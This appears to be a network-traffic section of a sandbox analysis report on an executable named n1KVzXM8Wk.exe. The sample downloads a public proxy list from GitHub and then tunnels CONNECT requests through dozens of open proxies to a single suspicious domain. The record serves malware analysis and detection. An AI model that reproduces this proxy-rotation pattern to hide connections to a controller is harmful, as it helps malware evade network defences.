Feb 23, 2024 09:45:39.612391949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.699811935 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2158	192.168.2.4	55568	94.131.109.219	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:39.615407944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.044996023 CET	401	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="proxy" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2159	192.168.2.4	55576	185.143.234.28	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.079781055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.256335020 CET	389	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 08:45:40 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: ArvanCloud Server-Timing: total;dur=0 X-Request-ID: 52eac47f0801ea5f04f21d7e6b70d33c X-SID: 6233 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2160	192.168.2.4	54714	107.180.90.88	16002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.080516100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.178086042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.178095102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2161	192.168.2.4	55398	124.105.55.176	30906	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.080523968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2162	192.168.2.4	52361	146.190.32.180	3240	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.080605984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2163	192.168.2.4	52247	167.99.39.82	46015	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.109208107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2164	192.168.2.4	52038	186.215.87.194	6002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.534853935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.646874905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.646807909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:52.646766901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:04.646770000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:16.709551096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2165	192.168.2.4	55578	91.241.217.58	9090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.535149097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2166	192.168.2.4	52192	45.188.164.3	1994	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.541611910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.445028067 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2167	192.168.2.4	52312	138.68.16.30	13469	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.552160978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2168	192.168.2.4	52237	92.205.110.118	15115	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.553009987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2169	192.168.2.4	55429	103.82.11.233	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.553533077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2170	192.168.2.4	52163	138.0.26.120	9010	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.555243015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2171	192.168.2.4	55574	171.250.219.217	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:40.879801035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2172	192.168.2.4	55883	5.133.16.171	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:43.116173029 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	140.82.114.3	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 08:45:14 UTC	101	OUT	GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-02-23 08:45:14 UTC	506	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Fri, 23 Feb 2024 08:45:14 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With ETag: W/"21a8c92f046ecffdea5c08c191ebc359" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-02-23 08:45:14 UTC	3594	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-02-23 08:45:14 UTC	21	IN	Data Raw: 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: connection: close
2024-02-23 08:45:14 UTC	1370	IN	Data Raw: 32 32 45 43 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 Data Ascii: 22EC<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pr
2024-02-23 08:45:14 UTC	1370	IN	Data Raw: 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 61 66 61 39 39 64 63 66 34 30 66 37 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: ="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-02-23 08:45:14 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2d 38 65 61 61 62 32 32 38 34 34 38 61 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 72 65 70 6f 73 69 74 6f 72 79 2d 36 32 34 37 63 61 32 33 38 66 64 34 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 Data Ascii: github-8eaab228448a.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/repository-6247ca238fd4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubass
2024-02-23 08:45:14 UTC	1370	IN	Data Raw: 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 74 72 61 63 65 2d 70 61 72 73 65 72 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 72 6f 2d 61 34 63 31 38 33 2d 37 39 66 39 36 31 31 63 32 37 35 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 79 64 72 6f 2d 61 6e 61 6c Data Ascii: -parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_hydro-anal
2024-02-23 08:45:14 UTC	1370	IN	Data Raw: 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 64 65 74 61 69 6c 73 2d 64 69 61 6c 6f 67 2d 65 6c 65 6d 65 6e 2d 32 39 64 63 33 30 2d 61 32 61 37 31 66 31 31 61 35 30 37 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a Data Ascii: ation/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-29dc30-a2a71f11a507.js"></script><script crossorigin="anonymous" defer="defer" type="application/j
2024-02-23 08:45:14 UTC	1370	IN	Data Raw: 62 5f 63 61 74 61 6c 79 73 74 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 79 64 72 6f 2d 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 2d 39 37 38 61 62 63 30 2d 61 64 64 39 33 39 63 37 35 31 63 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6c 69 74 2d 68 74 6d 6c 5f 6c 69 Data Ascii: b_catalyst_lib_index_js-node_modules_github_hydro-analytics-client_-978abc0-add939c751ce.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_li
2024-02-23 08:45:14 UTC	728	IN	Data Raw: 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 64 69 6d 65 6e 73 69 6f 6e 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6a 74 6d 6c 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 39 35 62 38 34 65 65 36 62 63 33 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 Data Ascii: s"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index_js-95b84ee6bc34.js"></scri
2024-02-23 08:45:14 UTC	1370	IN	Data Raw: 35 44 31 34 0d 0a 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 74 61 73 6b 2d 6c 69 73 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6f 6e 66 6f 63 75 73 5f 74 73 2d 61 70 70 5f 61 73 73 2d 34 32 31 63 65 63 2d 37 35 31 63 61 61 30 30 37 32 62 64 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 Data Ascii: 5D14ymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_onfocus_ts-app_ass-421cec-751caa0072bd.js"></script><script crossorigin="anony

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	51515	172.67.190.93	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 08:45:20 UTC	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-02-23 08:45:20 UTC	161	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: -
2024-02-23 08:45:20 UTC	155	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	54575	102.223.20.217	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 08:45:32 UTC	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-02-23 08:45:32 UTC	192	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-02-23 08:45:32 UTC	638	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data 